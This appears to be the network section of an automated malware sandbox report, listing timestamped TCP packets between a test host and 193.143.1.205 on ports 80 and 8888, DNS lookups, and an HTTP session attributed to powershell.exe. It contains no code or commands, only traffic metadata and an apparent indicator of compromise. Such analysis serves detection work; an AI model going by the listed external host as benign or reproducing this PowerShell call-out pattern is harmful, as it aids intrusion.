Jan 10, 2025 17:19:15.097083092 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.097095013 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.097107887 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.097111940 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.097121000 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.097132921 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.097141027 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.097162962 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.112545967 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.119079113 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.119149923 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.119180918 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.119193077 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.119204998 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.119216919 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.119229078 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.119235992 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.119240999 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.119251966 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.119257927 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.119271994 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.119282961 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.119292974 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.119293928 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.119306087 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.119323015 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.119328976 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.119339943 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.119339943 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.119352102 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.119357109 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.119365931 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.119374990 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.119391918 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.119412899 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.119419098 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.119425058 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.119436979 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.119446039 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.119457960 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.119477987 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.131652117 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.132913113 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.132960081 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.133009911 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.133022070 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.133033037 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.133049965 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.133054018 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.133063078 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.133074045 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.133086920 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.133090019 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.133106947 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.133106947 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.133126020 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.133136034 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.133141994 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.133148909 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.133161068 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.133162022 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.133174896 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.133186102 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.133197069 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.133203030 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.133232117 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.145158052 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.145215034 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.145221949 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.145227909 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.145241976 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.145256996 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.145263910 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.145268917 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.145281076 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.145308971 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.145328045 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.169096947 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.169120073 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.169132948 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.169146061 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.169162989 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.169176102 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.169188023 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.169213057 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.169245005 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.182754993 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.182781935 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.182795048 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.182806969 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.182818890 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.182826996 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.182832956 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.182858944 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.182940960 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.182961941 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.182974100 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.182979107 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.182985067 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.182996988 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.183008909 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.183011055 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.183022976 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.183033943 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.183034897 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.183048010 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.183058977 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.183067083 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.183073044 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.183090925 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.183094025 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.183101892 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.183113098 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.183113098 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.183125019 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.183136940 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.183146000 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.183149099 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.183178902 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.183284998 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.183295965 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.183309078 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.183322906 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.183412075 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.183423996 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.183435917 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.183445930 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.183445930 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.183459997 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.183468103 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.183473110 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.183485985 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.183495998 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.183499098 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.183507919 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.183522940 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.183537960 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.183542967 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.183548927 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.183561087 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.183572054 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.183590889 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.183592081 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.183604002 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.183615923 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.183620930 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.183629036 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.183639050 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.183640957 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.183654070 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.183666945 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.183671951 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.183671951 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.183705091 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.183732986 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.183744907 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.183757067 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.183768988 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.183774948 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.183779955 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.183814049 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.183857918 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.183868885 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.183886051 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.183897018 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.183901072 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.183908939 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.183919907 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.183919907 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.183940887 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.183953047 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.183955908 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.183984995 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.183995008 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.184012890 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.184026957 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.184030056 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.184043884 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.184056044 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.184063911 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.184068918 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.184081078 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.184092045 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.184097052 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.184104919 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.184115887 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.184118986 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.184140921 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.192317009 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.200134993 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.206067085 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.206105947 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.206121922 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.206135988 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.206151009 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.206165075 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.206248045 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.206259966 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.206273079 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.206283092 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.206283092 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.206295013 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.206301928 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.206306934 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.206319094 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.206330061 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.206331015 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.206342936 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.206352949 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.206358910 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.206366062 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.206378937 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.206403971 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.219790936 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.219882011 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.219902992 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.219916105 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.219926119 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.219932079 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.219938040 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.219949961 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.219957113 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.219969988 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.219985962 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.219991922 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.219997883 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.220009089 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.220012903 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.220021963 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.220032930 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.220045090 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.220047951 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.220057011 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.220079899 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.232098103 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.232110023 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.232121944 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.232173920 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.232183933 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.232194901 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.232202053 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.232208967 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.232219934 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.232233047 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.232239962 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.232269049 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.255987883 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.256001949 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.256014109 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.256025076 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.256037951 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.256048918 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.256061077 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.256072044 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.256072998 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.256124973 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.269489050 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.269510984 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.269522905 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.269535065 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.269541025 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.269550085 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.269567013 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.269570112 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.269579887 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.269593000 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.269604921 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.269604921 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.269615889 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.269630909 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.269633055 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.269643068 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.269654989 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.269655943 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.269665956 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.269678116 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.269679070 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.269717932 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.269728899 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.269728899 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.269728899 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.269742012 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.269756079 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.269768953 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.269773006 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.269787073 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.269787073 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.269819021 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.325515985 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.331748962 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.508929968 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.961169958 CET	49757	8888	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.967024088 CET	8888	49757	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.967132092 CET	49757	8888	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.967278004 CET	49757	8888	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.972548962 CET	8888	49757	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:16.750498056 CET	8888	49757	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:16.803929090 CET	49757	8888	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:16.916867971 CET	49757	8888	192.168.2.10	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 17:19:23.605415106 CET	56336	53	192.168.2.10	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 17:19:23.605415106 CET	192.168.2.10	1.1.1.1	0x2cdf	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 17:19:06.744776964 CET	1.1.1.1	192.168.2.10	0x8fc4	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 17:19:06.744776964 CET	1.1.1.1	192.168.2.10	0x8fc4	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:19:23.613245010 CET	1.1.1.1	192.168.2.10	0x2cdf	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 17:19:24.393469095 CET	1.1.1.1	192.168.2.10	0xd47d	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 17:19:24.393469095 CET	1.1.1.1	192.168.2.10	0xd47d	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.34	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:19:24.393469095 CET	1.1.1.1	192.168.2.10	0xd47d	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.35	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:19:24.393469095 CET	1.1.1.1	192.168.2.10	0xd47d	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.36	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:19:24.393469095 CET	1.1.1.1	192.168.2.10	0xd47d	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.20	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:19:24.393469095 CET	1.1.1.1	192.168.2.10	0xd47d	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.18	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:19:24.393469095 CET	1.1.1.1	192.168.2.10	0xd47d	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.19	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:19:24.393469095 CET	1.1.1.1	192.168.2.10	0xd47d	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.23	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:19:24.393469095 CET	1.1.1.1	192.168.2.10	0xd47d	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.39	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49740	193.143.1.205	80	7736	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

